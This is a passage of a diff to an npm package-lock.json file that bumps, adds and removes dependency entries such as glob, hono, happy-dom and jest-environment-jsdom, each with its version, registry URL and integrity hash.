"sha512-6qN4hJdMwfYBtE3YBTTHhoeuUrDBPZmbQaxWAqSALV/MeEnR5z1xd8UKud2RAkFoPkmB+hli1TZSnyi84xz1vQ==", - "license": "MIT", - "dependencies": { - "iconv-lite": "0.6.3" - }, - "engines": { - "node": ">=18" - } - }, "node_modules/enhanced-resolve": { "version": "5.17.1", "resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-5.17.1.tgz", @@ -25491,13 +26330,6 @@ "node": ">= 0.4" } }, - "node_modules/es-module-lexer": { - "version": "1.6.0", - "resolved": "https://registry.npmjs.org/es-module-lexer/-/es-module-lexer-1.6.0.tgz", - "integrity": "sha512-qqnD1yMU6tk/jnaMosogGySTZP8YtUgAffA9nMN+E/rjxcfRQ6IEk7IiozUjgxKoFHBGjTLnrHB/YC45r/59EQ==", - "dev": true, - "peer": true - }, "node_modules/es-object-atoms": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/es-object-atoms/-/es-object-atoms-1.0.0.tgz", @@ -25588,47 +26420,6 @@ "node": ">=0.12" } }, - "node_modules/esbuild": { - "version": "0.25.1", - "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.25.1.tgz", - "integrity": "sha512-BGO5LtrGC7vxnqucAe/rmvKdJllfGaYWdyABvyMoXQlfYMb2bbRuReWR5tEGE//4LcNJj9XrkovTqNYRFZHAMQ==", - "dev": true, - "hasInstallScript": true, - "license": "MIT", - "bin": { - "esbuild": "bin/esbuild" - }, - "engines": { - "node": ">=18" - }, - "optionalDependencies": { - "@esbuild/aix-ppc64": "0.25.1", - "@esbuild/android-arm": "0.25.1", - "@esbuild/android-arm64": "0.25.1", - "@esbuild/android-x64": "0.25.1", - "@esbuild/darwin-arm64": "0.25.1", - "@esbuild/darwin-x64": "0.25.1", - "@esbuild/freebsd-arm64": "0.25.1", - "@esbuild/freebsd-x64": "0.25.1", - "@esbuild/linux-arm": "0.25.1", - "@esbuild/linux-arm64": "0.25.1", - "@esbuild/linux-ia32": "0.25.1", - "@esbuild/linux-loong64": "0.25.1", - "@esbuild/linux-mips64el": "0.25.1", - "@esbuild/linux-ppc64": "0.25.1", - "@esbuild/linux-riscv64": "0.25.1", - "@esbuild/linux-s390x": "0.25.1", - "@esbuild/linux-x64": "0.25.1", - "@esbuild/netbsd-arm64": "0.25.1", - "@esbuild/netbsd-x64": "0.25.1", - "@esbuild/openbsd-arm64": "0.25.1", - "@esbuild/openbsd-x64": "0.25.1", - "@esbuild/sunos-x64": "0.25.1", - "@esbuild/win32-arm64": "0.25.1", - "@esbuild/win32-ia32": "0.25.1", - "@esbuild/win32-x64": "0.25.1" - } - }, "node_modules/escalade": { "version": "3.2.0", "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.2.0.tgz", @@ -25666,27 +26457,6 @@ "url": "https://github.com/sponsors/sindresorhus" } }, - "node_modules/escodegen": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/escodegen/-/escodegen-2.1.0.tgz", - "integrity": "sha512-2NlIDTwUWJN0mRPQOdtQBzbUHvdGY2P1VXSyU83Q3xKxM7WHX2Ql8dKq782Q9TgQUNOLEzEYu9bzLNj1q88I5w==", - "dev": true, - "dependencies": { - "esprima": "^4.0.1", - "estraverse": "^5.2.0", - "esutils": "^2.0.2" - }, - "bin": { - "escodegen": "bin/escodegen.js", - "esgenerate": "bin/esgenerate.js" - }, - "engines": { - "node": ">=6.0" - }, - "optionalDependencies": { - "source-map": "~0.6.1" - } - }, "node_modules/eslint": { "version": "9.39.1", "resolved": "https://registry.npmjs.org/eslint/-/eslint-9.39.1.tgz", @@ -26113,30 +26883,6 @@ "eslint": ">=5.0.0" } }, - "node_modules/eslint-scope": { - "version": "5.1.1", - "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-5.1.1.tgz", - "integrity": "sha512-2NxwbF/hZ0KpepYN0cNbo+FN6XoK7GaHlQhgx/hIZl6Va0bF45RQOOwhLIy8lQDbuCiadSLCBnH2CFYquit5bw==", - "dev": true, - "peer": true, - "dependencies": { - "esrecurse": "^4.3.0", - "estraverse": "^4.1.1" - }, - "engines": { - "node": ">=8.0.0" - } - }, - "node_modules/eslint-scope/node_modules/estraverse": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-4.3.0.tgz", - "integrity": "sha512-39nnKffWz8xN1BU/2c79n9nB9HDzo0niYUqx6xyqUnyoAnQyyWpOTdZEeiCch8BBu515t4wp9ZmgVfVhn9EBpw==", - "dev": true, - "peer": true, - "engines": { - "node": ">=4.0" - } - }, "node_modules/eslint-visitor-keys": { "version": "3.4.3", "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-3.4.3.tgz", @@ -26150,9 +26896,9 @@ } }, "node_modules/eslint/node_modules/ajv": { - "version": "6.12.6", - "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.12.6.tgz", - "integrity": "sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==", + "version": "6.14.0", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.14.0.tgz", + "integrity": "sha512-IWrosm/yrn43eiKqkfkHis7QioDleaXQHdDVPKg0FSwwd/DuvyX79TZnFOnYpB7dcsFAMmtFztZuXPDvSePkFw==", "dev": true, "license": "MIT", "dependencies": { @@ -26487,9 +27233,13 @@ } }, "node_modules/express-rate-limit": { - "version": "7.5.0", - "resolved": "https://registry.npmjs.org/express-rate-limit/-/express-rate-limit-7.5.0.tgz", - "integrity": "sha512-eB5zbQh5h+VenMPM3fh+nw1YExi5nMr6HUCR62ELSP11huvxm/Uir1H1QEyTkk5QX6A58pX6NmaTMceKZ0Eodg==", + "version": "8.3.0", + "resolved": "https://registry.npmjs.org/express-rate-limit/-/express-rate-limit-8.3.0.tgz", + "integrity": "sha512-KJzBawY6fB9FiZGdE/0aftepZ91YlaGIrV8vgblRM3J8X+dHx/aiowJWwkx6LIGyuqGiANsjSwwrbb8mifOJ4Q==", + "license": "MIT", + "dependencies": { + "ip-address": "10.1.0" + }, "engines": { "node": ">= 16" }, @@ -26497,7 +27247,7 @@ "url": "https://github.com/sponsors/express-rate-limit" }, "peerDependencies": { - "express": "^4.11 || 5 || ^5.0.0-beta.1" + "express": ">= 4.11" } }, "node_modules/express-session": { @@ -26754,21 +27504,18 @@ "license": "BSD-3-Clause" }, "node_modules/fast-xml-parser": { - "version": "4.4.1", - "resolved": "https://registry.npmjs.org/fast-xml-parser/-/fast-xml-parser-4.4.1.tgz", - "integrity": "sha512-xkjOecfnKGkSsOwtZ5Pz7Us/T6mrbPQrq0nh+aCO5V9nk5NLWmasAHumTKjiPJPWANe+kAZ84Jc8ooJkzZ88Sw==", + "version": "5.3.8", + "resolved": "https://registry.npmjs.org/fast-xml-parser/-/fast-xml-parser-5.3.8.tgz", + "integrity": "sha512-53jIF4N6u/pxvaL1eb/hEZts/cFLWZ92eCfLrNyCI0k38lettCG/Bs40W9pPwoPXyHQlKu2OUbQtiEIZK/J6Vw==", "funding": [ { "type": "github", "url": "https://github.com/sponsors/NaturalIntelligence" - }, - { - "type": "paypal", - "url": "https://paypal.me/naturalintelligence" } ], + "license": "MIT", "dependencies": { - "strnum": "^1.0.5" + "strnum": "^2.1.0" }, "bin": { "fxparser": "src/cli/cli.js" @@ -26863,27 +27610,12 @@ "moment": "^2.29.1" } }, - "node_modules/file-type": { - "version": "18.7.0", - "resolved": "https://registry.npmjs.org/file-type/-/file-type-18.7.0.tgz", - "integrity": "sha512-ihHtXRzXEziMrQ56VSgU7wkxh55iNchFkosu7Y9/S+tXHdKyrGjVK0ujbqNnsxzea+78MaLhN6PGmfYSAv1ACw==", - "dependencies": { - "readable-web-to-node-stream": "^3.0.2", - "strtok3": "^7.0.0", - "token-types": "^5.0.1" - }, - "engines": { - "node": ">=14.16" - }, - "funding": { - "url": "https://github.com/sindresorhus/file-type?sponsor=1" - } - }, "node_modules/filelist": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/filelist/-/filelist-1.0.4.tgz", - "integrity": "sha512-w1cEuf3S+DrLCQL7ET6kz+gmlJdbq9J7yXCSjK/OZCPA+qEN1WyF4ZAf0YYJa4/shHJra2t/d/r8SV4Ji+x+8Q==", + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/filelist/-/filelist-1.0.6.tgz", + "integrity": "sha512-5giy2PkLYY1cP39p17Ech+2xlpTRL9HLspOfEgm0L6CwBXBTgsK5ou0JtzYuepxkaQ/tvhCFIJ5uXo0OrM2DxA==", "dev": true, + "license": "Apache-2.0", "dependencies": { "minimatch": "^5.0.1" } @@ -26899,10 +27631,11 @@ } }, "node_modules/filelist/node_modules/minimatch": { - "version": "5.1.6", - "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-5.1.6.tgz", - "integrity": "sha512-lKwV/1brpG6mBUFHtb7NUmtABCb2WZZmm2wNiOA5hAb8VdCS4B3dtMWyvcoViccwAW/COERjXLt0zP1zXUN26g==", + "version": "5.1.9", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-5.1.9.tgz", + "integrity": "sha512-7o1wEA2RyMP7Iu7GNba9vc0RWWGACJOCZBJX2GJWip0ikV+wcOsgVuY9uE8CPiyQhkGFSlhuSkZPavN7u1c2Fw==", "dev": true, + "license": "ISC", "dependencies": { "brace-expansion": "^2.0.1" }, @@ -27103,9 +27836,9 @@ "integrity": "sha512-GRnmB5gPyJpAhTQdSZTSp9uaPSvl09KoYcMQtsB9rQoOmzs9dH6ffeccH+Z+cv6P68Hu5bC6JjRh4Ah/mHSNRw==" }, "node_modules/follow-redirects": { - "version": "1.15.9", - "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.15.9.tgz", - "integrity": "sha512-gew4GsXizNgdoRyqmyfMHyAmXsZDk6mHkSxZFCzW9gwlbtOW44CDtYavM+y+72qD/Vq2l550kMF52DT8fOLJqQ==", + "version": "1.15.11", + "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.15.11.tgz", + "integrity": "sha512-deG2P0JfjrTxl50XGCDyfI97ZGVCxIpfKYmfyrQ54n5FO/0gfIES8C/Psl6kWVDolizcaaxZJnTS0QSMxvnsBQ==", "funding": [ { "type": "individual", @@ -27158,9 +27891,9 @@ } }, "node_modules/form-data": { - "version": "4.0.4", - "resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.4.tgz", - "integrity": "sha512-KrGhL9Q4zjj0kiUt5OO4Mr/A/jlI2jDYs5eHBpYHPcBEVSiipAvn2Ko2HnPe20rmcuuvMHNdZFp+4IlGTMF0Ow==", + "version": "4.0.5", + "resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.5.tgz", + "integrity": "sha512-8RipRLol37bNs2bhoV67fiTEvdTrbMUYcFTiy3+wuuOnUog2QBHCZWXDRijWQfAkhBj2Uf5UnVaiWwA5vdd82w==", "license": "MIT", "dependencies": { "asynckit": "^0.4.0", @@ -27220,15 +27953,15 @@ } }, "node_modules/fraction.js": { - "version": "4.3.7", - "resolved": "https://registry.npmjs.org/fraction.js/-/fraction.js-4.3.7.tgz", - "integrity": "sha512-ZsDfxO51wGAXREY55a7la9LScWpwv9RxIrYABrlvOFBlH/ShPnrtsXeuUIfXKKOVicNxQ+o8JTbJvjS4M89yew==", - "dev": true, + "version": "5.3.4", + "resolved": "https://registry.npmjs.org/fraction.js/-/fraction.js-5.3.4.tgz", + "integrity": "sha512-1X1NTtiJphryn/uLQz3whtY6jK3fTqoE3ohKs0tT+Ujr1W59oopxmoEh7Lu5p6vBaPbgoM0bzveAW4Qi5RyWDQ==", + "license": "MIT", "engines": { "node": "*" }, "funding": { - "type": "patreon", + "type": "github", "url": "https://github.com/sponsors/rawify" } }, @@ -27454,7 +28187,8 @@ "version": "3.0.2", "resolved": "https://registry.npmjs.org/get-own-enumerable-property-symbols/-/get-own-enumerable-property-symbols-3.0.2.tgz", "integrity": "sha512-I0UBV/XOz1XkIJHEUDMZAbzCThU/H8DxmSfmdGcKPnVhu2VfFqr34jr9777IyaTYvxjedWhqVIilEDsCdP5G6g==", - "dev": true + "dev": true, + "license": "ISC" }, "node_modules/get-package-type": { "version": "0.1.0", @@ -27524,18 +28258,18 @@ } }, "node_modules/glob": { - "version": "13.0.0", - "resolved": "https://registry.npmjs.org/glob/-/glob-13.0.0.tgz", - "integrity": "sha512-tvZgpqk6fz4BaNZ66ZsRaZnbHvP/jG3uKJvAZOwEVUL4RTA5nJeeLYfyN9/VA8NX/V3IBG+hkeuGpKjvELkVhA==", + "version": "13.0.6", + "resolved": "https://registry.npmjs.org/glob/-/glob-13.0.6.tgz", + "integrity": "sha512-Wjlyrolmm8uDpm/ogGyXZXb1Z+Ca2B8NbJwqBVg0axK9GbBeoS7yGV6vjXnYdGm6X53iehEuxxbyiKp8QmN4Vw==", "dev": true, "license": "BlueOak-1.0.0", "dependencies": { - "minimatch": "^10.1.1", - "minipass": "^7.1.2", - "path-scurry": "^2.0.0" + "minimatch": "^10.2.2", + "minipass": "^7.1.3", + "path-scurry": "^2.0.2" }, "engines": { - "node": "20 || >=22" + "node": "18 || 20 || >=22" }, "funding": { "url": "https://github.com/sponsors/isaacs" @@ -27552,43 +28286,59 @@ "node": ">=10.13.0" } }, - "node_modules/glob-to-regexp": { - "version": "0.4.1", - "resolved": "https://registry.npmjs.org/glob-to-regexp/-/glob-to-regexp-0.4.1.tgz", - "integrity": "sha512-lkX1HJXwyMcprw/5YUZc2s7DrpAiHB21/V+E1rHUrVNokkvB6bqMzT0VfV6/86ZNabt1k14YOIaT7nDvOX3Iiw==", + "node_modules/glob/node_modules/balanced-match": { + "version": "4.0.4", + "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-4.0.4.tgz", + "integrity": "sha512-BLrgEcRTwX2o6gGxGOCNyMvGSp35YofuYzw9h1IMTRmKqttAZZVU67bdb9Pr2vUHA8+j3i2tJfjO6C6+4myGTA==", "dev": true, - "peer": true + "license": "MIT", + "engines": { + "node": "18 || 20 || >=22" + } + }, + "node_modules/glob/node_modules/brace-expansion": { + "version": "5.0.3", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-5.0.3.tgz", + "integrity": "sha512-fy6KJm2RawA5RcHkLa1z/ScpBeA762UF9KmZQxwIbDtRJrgLzM10depAiEQ+CXYcoiqW1/m96OAAoke2nE9EeA==", + "dev": true, + "license": "MIT", + "dependencies": { + "balanced-match": "^4.0.2" + }, + "engines": { + "node": "18 || 20 || >=22" + } }, "node_modules/glob/node_modules/lru-cache": { - "version": "11.2.2", - "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-11.2.2.tgz", - "integrity": "sha512-F9ODfyqML2coTIsQpSkRHnLSZMtkU8Q+mSfcaIyKwy58u+8k5nvAYeiNhsyMARvzNcXJ9QfWVrcPsC9e9rAxtg==", + "version": "11.2.6", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-11.2.6.tgz", + "integrity": "sha512-ESL2CrkS/2wTPfuend7Zhkzo2u0daGJ/A2VucJOgQ/C48S/zB8MMeMHSGKYpXhIjbPxfuezITkaBH1wqv00DDQ==", "dev": true, - "license": "ISC", + "license": "BlueOak-1.0.0", "engines": { "node": "20 || >=22" } }, "node_modules/glob/node_modules/minimatch": { - "version": "10.1.1", - "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-10.1.1.tgz", - "integrity": "sha512-enIvLvRAFZYXJzkCYG5RKmPfrFArdLv+R+lbQ53BmIMLIry74bjKzX6iHAm8WYamJkhSSEabrWN5D97XnKObjQ==", + "version": "10.2.4", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-10.2.4.tgz", + "integrity": "sha512-oRjTw/97aTBN0RHbYCdtF1MQfvusSIBQM0IZEgzl6426+8jSC0nF1a/GmnVLpfB9yyr6g6FTqWqiZVbxrtaCIg==", "dev": true, "license": "BlueOak-1.0.0", "dependencies": { - "@isaacs/brace-expansion": "^5.0.0" + "brace-expansion": "^5.0.2" }, "engines": { - "node": "20 || >=22" + "node": "18 || 20 || >=22" }, "funding": { "url": "https://github.com/sponsors/isaacs" } }, "node_modules/glob/node_modules/path-scurry": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/path-scurry/-/path-scurry-2.0.1.tgz", - "integrity": "sha512-oWyT4gICAu+kaA7QWk/jvCHWarMKNs6pXOGWKDTr7cw4IGcUbW+PeTfbaQiLGheFRpjo6O9J0PmyMfQPjH71oA==", + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/path-scurry/-/path-scurry-2.0.2.tgz", + "integrity": "sha512-3O/iVVsJAPsOnpwWIeD+d6z/7PmqApyQePUtCndjatj/9I5LylHvt5qluFaBT3I5h3r1ejfR056c+FCv+NnNXg==", "dev": true, "license": "BlueOak-1.0.0", "dependencies": { @@ -27596,7 +28346,7 @@ "minipass": "^7.1.2" }, "engines": { - "node": "20 || >=22" + "node": "18 || 20 || >=22" }, "funding": { "url": "https://github.com/sponsors/isaacs" @@ -27739,6 +28489,47 @@ "uglify-js": "^3.1.4" } }, + "node_modules/happy-dom": { + "version": "20.8.3", + "resolved": "https://registry.npmjs.org/happy-dom/-/happy-dom-20.8.3.tgz", + "integrity": "sha512-lMHQRRwIPyJ70HV0kkFT7jH/gXzSI7yDkQFe07E2flwmNDFoWUTRMKpW2sglsnpeA7b6S2TJPp98EbQxai8eaQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/node": ">=20.0.0", + "@types/whatwg-mimetype": "^3.0.2", + "@types/ws": "^8.18.1", + "entities": "^7.0.1", + "whatwg-mimetype": "^3.0.0", + "ws": "^8.18.3" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/happy-dom/node_modules/entities": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/entities/-/entities-7.0.1.tgz", + "integrity": "sha512-TWrgLOFUQTH994YUyl1yT4uyavY5nNB5muff+RtWaqNVCAK408b5ZnnbNAUEWLTCpum9w6arT70i1XdQ4UeOPA==", + "dev": true, + "license": "BSD-2-Clause", + "engines": { + "node": ">=0.12" + }, + "funding": { + "url": "https://github.com/fb55/entities?sponsor=1" + } + }, + "node_modules/happy-dom/node_modules/whatwg-mimetype": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/whatwg-mimetype/-/whatwg-mimetype-3.0.0.tgz", + "integrity": "sha512-nt+N2dzIutVRxARx1nghPKGv1xHikU7HKdfafKkLNLindmPU/ch3U31NOCGGA/dmPcmb1VlofO0vnKAcsm0o/Q==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12" + } + }, "node_modules/harmony-reflect": { "version": "1.6.2", "resolved": "https://registry.npmjs.org/harmony-reflect/-/harmony-reflect-1.6.2.tgz", @@ -28107,11 +28898,10 @@ "integrity": "sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ==" }, "node_modules/hono": { - "version": "4.11.7", - "resolved": "https://registry.npmjs.org/hono/-/hono-4.11.7.tgz", - "integrity": "sha512-l7qMiNee7t82bH3SeyUCt9UF15EVmaBvsppY2zQtrbIhl/yzBTny+YUxsVjSjQ6gaqaeVtZmGocom8TzBlA4Yw==", + "version": "4.12.7", + "resolved": "https://registry.npmjs.org/hono/-/hono-4.12.7.tgz", + "integrity": "sha512-jq9l1DM0zVIvsm3lv9Nw9nlJnMNPOcAtsbsgiUhWcFzPE99Gvo6yRTlszSLLYacMeQ6quHD6hMfId8crVHvexw==", "license": "MIT", - "peer": true, "engines": { "node": ">=16.9.0" } @@ -28130,15 +28920,16 @@ "license": "Apache-2.0" }, "node_modules/html-encoding-sniffer": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/html-encoding-sniffer/-/html-encoding-sniffer-3.0.0.tgz", - "integrity": "sha512-oWv4T4yJ52iKrufjnyZPkrN0CH3QnrUqdB6In1g5Fe1mia8GmF36gnfNySxoZtxD5+NmYw1EElVXiBk93UeskA==", + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/html-encoding-sniffer/-/html-encoding-sniffer-4.0.0.tgz", + "integrity": "sha512-Y22oTqIU4uuPgEemfz7NDJz6OeKf12Lsu+QC+s3BVpda64lTiMYCyGwg5ki4vFxkMwQdeZDl2adZoqUgdFuTgQ==", "dev": true, + "license": "MIT", "dependencies": { - "whatwg-encoding": "^2.0.0" + "whatwg-encoding": "^3.1.1" }, "engines": { - "node": ">=12" + "node": ">=18" } }, "node_modules/html-escaper": { @@ -28172,9 +28963,9 @@ } }, "node_modules/htmlparser2": { - "version": "10.0.0", - "resolved": "https://registry.npmjs.org/htmlparser2/-/htmlparser2-10.0.0.tgz", - "integrity": "sha512-TwAZM+zE5Tq3lrEHvOlvwgj1XLWQCtaaibSN11Q+gGBAS7Y1uZSWwXXRe4iF6OXnaq1riyQAPFOBtYc77Mxq0g==", + "version": "10.1.0", + "resolved": "https://registry.npmjs.org/htmlparser2/-/htmlparser2-10.1.0.tgz", + "integrity": "sha512-VTZkM9GWRAtEpveh7MSF6SjjrpNVNNVJfFup7xTY3UpFtm67foy9HDVXneLtFVt4pMz5kZtgNcvCniNFb1hlEQ==", "funding": [ "https://github.com/fb55/htmlparser2?sponsor=1", { @@ -28186,14 +28977,14 @@ "dependencies": { "domelementtype": "^2.3.0", "domhandler": "^5.0.3", - "domutils": "^3.2.1", - "entities": "^6.0.0" + "domutils": "^3.2.2", + "entities": "^7.0.1" } }, "node_modules/htmlparser2/node_modules/entities": { - "version": "6.0.1", - "resolved": "https://registry.npmjs.org/entities/-/entities-6.0.1.tgz", - "integrity": "sha512-aN97NXWF6AWBTahfVOIrB/NShkzi5H7F9r1s9mD3cDj4Ko5f2qhhVoYMibXF7GlLveb/D2ioWay8lxI97Ven3g==", + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/entities/-/entities-7.0.1.tgz", + "integrity": "sha512-TWrgLOFUQTH994YUyl1yT4uyavY5nNB5muff+RtWaqNVCAK408b5ZnnbNAUEWLTCpum9w6arT70i1XdQ4UeOPA==", "license": "BSD-2-Clause", "engines": { "node": ">=0.12" @@ -28223,17 +29014,16 @@ "integrity": "sha512-SGeBX54F94Wgu5RH3X5jsDtf4eHyRogWX1XGT3b4HuW3tQPM4AaBzoUji/4AAJNXCEOWZ5O0DgZmJw1947gD5Q==" }, "node_modules/http-proxy-agent": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-5.0.0.tgz", - "integrity": "sha512-n2hY8YdoRE1i7r6M0w9DIw5GgZN0G25P8zLCRQ8rjXtTU3vsNFBI/vWK/UIeE6g5MUUz6avwAPXmL6Fy9D/90w==", - "dev": true, + "version": "7.0.2", + "resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-7.0.2.tgz", + "integrity": "sha512-T1gkAiYYDWYx3V5Bmyu7HcfcvL7mUrTWiM6yOfa3PIphViJ/gFPbvidQ+veqSOHci/PxBcDabeUNCzpOODJZig==", + "license": "MIT", "dependencies": { - "@tootallnate/once": "2", - "agent-base": "6", - "debug": "4" + "agent-base": "^7.1.0", + "debug": "^4.3.4" }, "engines": { - "node": ">= 6" + "node": ">= 14" } }, "node_modules/https-browserify": { @@ -28256,15 +29046,6 @@ "node": ">= 14" } }, - "node_modules/https-proxy-agent/node_modules/agent-base": { - "version": "7.1.4", - "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-7.1.4.tgz", - "integrity": "sha512-MnA+YT8fwfJPgBx3m60MNqakm30XOkyIoH1y6huTQvC0PwZG7ki8NacLBcrPbNoo8vEZy7Jpuk7+jMO+CUovTQ==", - "license": "MIT", - "engines": { - "node": ">= 14" - } - }, "node_modules/human-signals": { "version": "2.1.0", "resolved": "https://registry.npmjs.org/human-signals/-/human-signals-2.1.0.tgz", @@ -28419,6 +29200,12 @@ "integrity": "sha512-Ius2VYcGNk7T90CppJqcIkS5ooHUZyIQK+ClZfMfMNFEF9VSE73Fq+906u/CWu92x4gzZMWOwfFYckPObzdEbA==", "dev": true }, + "node_modules/immediate": { + "version": "3.0.6", + "resolved": "https://registry.npmjs.org/immediate/-/immediate-3.0.6.tgz", + "integrity": "sha512-XXOFtyqDjNDAQxVfYxuF7g9Il/IbWmmlQg2MYKOH8ExIT1qg6xc4zyS3HaEEATgs1btfzxq15ciUiY7gjSXRGQ==", + "license": "MIT" + }, "node_modules/import-cwd": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/import-cwd/-/import-cwd-3.0.0.tgz", @@ -28472,15 +29259,15 @@ } }, "node_modules/import-in-the-middle": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/import-in-the-middle/-/import-in-the-middle-2.0.0.tgz", - "integrity": "sha512-yNZhyQYqXpkT0AKq3F3KLasUSK4fHvebNH5hOsKQw2dhGSALvQ4U0BqUc5suziKvydO5u5hgN2hy1RJaho8U5A==", + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/import-in-the-middle/-/import-in-the-middle-2.0.6.tgz", + "integrity": "sha512-3vZV3jX0XRFW3EJDTwzWoZa+RH1b8eTTx6YOCjglrLyPuepwoBti1k3L2dKwdCUrnVEfc5CuRuGstaC/uQJJaw==", "license": "Apache-2.0", "dependencies": { - "acorn": "^8.14.0", + "acorn": "^8.15.0", "acorn-import-attributes": "^1.9.5", - "cjs-module-lexer": "^1.2.2", - "module-details-from-path": "^1.0.3" + "cjs-module-lexer": "^2.2.0", + "module-details-from-path": "^1.0.4" } }, "node_modules/import-local": { @@ -28605,9 +29392,9 @@ } }, "node_modules/ip-address": { - "version": "10.0.1", - "resolved": "https://registry.npmjs.org/ip-address/-/ip-address-10.0.1.tgz", - "integrity": "sha512-NWv9YLW4PoW2B7xtzaS3NCot75m6nK7Icdv0o3lfMceJVRfSoQwqD4wEH5rLwoKJwUiZ/rfpiVBhnaF0FK4HoA==", + "version": "10.1.0", + "resolved": "https://registry.npmjs.org/ip-address/-/ip-address-10.1.0.tgz", + "integrity": "sha512-XXADHxXmvT9+CRxhXg56LJovE+bmWnEWB78LB83VZTprKTmaC5QfruXocxzTZ2Kl0DNwKuBdlIhjL8LeY8Sf8Q==", "license": "MIT", "engines": { "node": ">= 12" @@ -29024,6 +29811,7 @@ "resolved": "https://registry.npmjs.org/is-obj/-/is-obj-1.0.1.tgz", "integrity": "sha512-l4RyHgRqGN4Y3+9JHVrNqO+tN0rV5My76uW5/nuO4K1b6vw5G8d/cmFjP9tRfEsdhZNt0IFdZuK/c2Vr4Nb+Qg==", "dev": true, + "license": "MIT", "engines": { "node": ">=0.10.0" } @@ -29073,6 +29861,7 @@ "resolved": "https://registry.npmjs.org/is-regexp/-/is-regexp-1.0.0.tgz", "integrity": "sha512-7zjFAPO4/gwyQAAgRRmqeEeyIICSdmCqa3tsVHMdBzaXXRiqopZL4Cyghg/XulGWrtABTpbnYYzzIRffLkP4oA==", "dev": true, + "license": "MIT", "engines": { "node": ">=0.10.0" } @@ -29352,15 +30141,15 @@ } }, "node_modules/jake": { - "version": "10.9.2", - "resolved": "https://registry.npmjs.org/jake/-/jake-10.9.2.tgz", - "integrity": "sha512-2P4SQ0HrLQ+fw6llpLnOaGAvN2Zu6778SJMrCUwns4fOoG9ayrTiZk3VV8sCPkVZF8ab0zksVpS8FDY5pRCNBA==", + "version": "10.9.4", + "resolved": "https://registry.npmjs.org/jake/-/jake-10.9.4.tgz", + "integrity": "sha512-wpHYzhxiVQL+IV05BLE2Xn34zW1S223hvjtqk0+gsPrwd/8JNLXJgZZM/iPFsYc1xyphF+6M6EvdE5E9MBGkDA==", "dev": true, + "license": "Apache-2.0", "dependencies": { - "async": "^3.2.3", - "chalk": "^4.0.2", + "async": "^3.2.6", "filelist": "^1.0.4", - "minimatch": "^3.1.2" + "picocolors": "^1.1.1" }, "bin": { "jake": "bin/cli.js" @@ -29428,25 +30217,23 @@ } }, "node_modules/jest-environment-jsdom": { - "version": "29.7.0", - "resolved": "https://registry.npmjs.org/jest-environment-jsdom/-/jest-environment-jsdom-29.7.0.tgz", - "integrity": "sha512-k9iQbsf9OyOfdzWH8HDmrRT0gSIcX+FLNW7IQq94tFX0gynPwqDTW0Ho6iMVNjGz/nb+l/vW3dWM2bbLLpkbXA==", + "version": "30.2.0", + "resolved": "https://registry.npmjs.org/jest-environment-jsdom/-/jest-environment-jsdom-30.2.0.tgz", + "integrity": "sha512-zbBTiqr2Vl78pKp/laGBREYzbZx9ZtqPjOK4++lL4BNDhxRnahg51HtoDrk9/VjIy9IthNEWdKVd7H5bqBhiWQ==", "dev": true, + "license": "MIT", "dependencies": { - "@jest/environment": "^29.7.0", - "@jest/fake-timers": "^29.7.0", - "@jest/types": "^29.6.3", - "@types/jsdom": "^20.0.0", + "@jest/environment": "30.2.0", + "@jest/environment-jsdom-abstract": "30.2.0", + "@types/jsdom": "^21.1.7", "@types/node": "*", - "jest-mock": "^29.7.0", - "jest-util": "^29.7.0", - "jsdom": "^20.0.0" + "jsdom": "^26.1.0" }, "engines": { - "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" }, "peerDependencies": { - "canvas": "^2.5.0" + "canvas": "^3.0.0" }, "peerDependenciesMeta": { "canvas": { @@ -29550,17 +30337,104 @@ } }, "node_modules/jest-mock": { - "version": "29.7.0", - "resolved": "https://registry.npmjs.org/jest-mock/-/jest-mock-29.7.0.tgz", - "integrity": 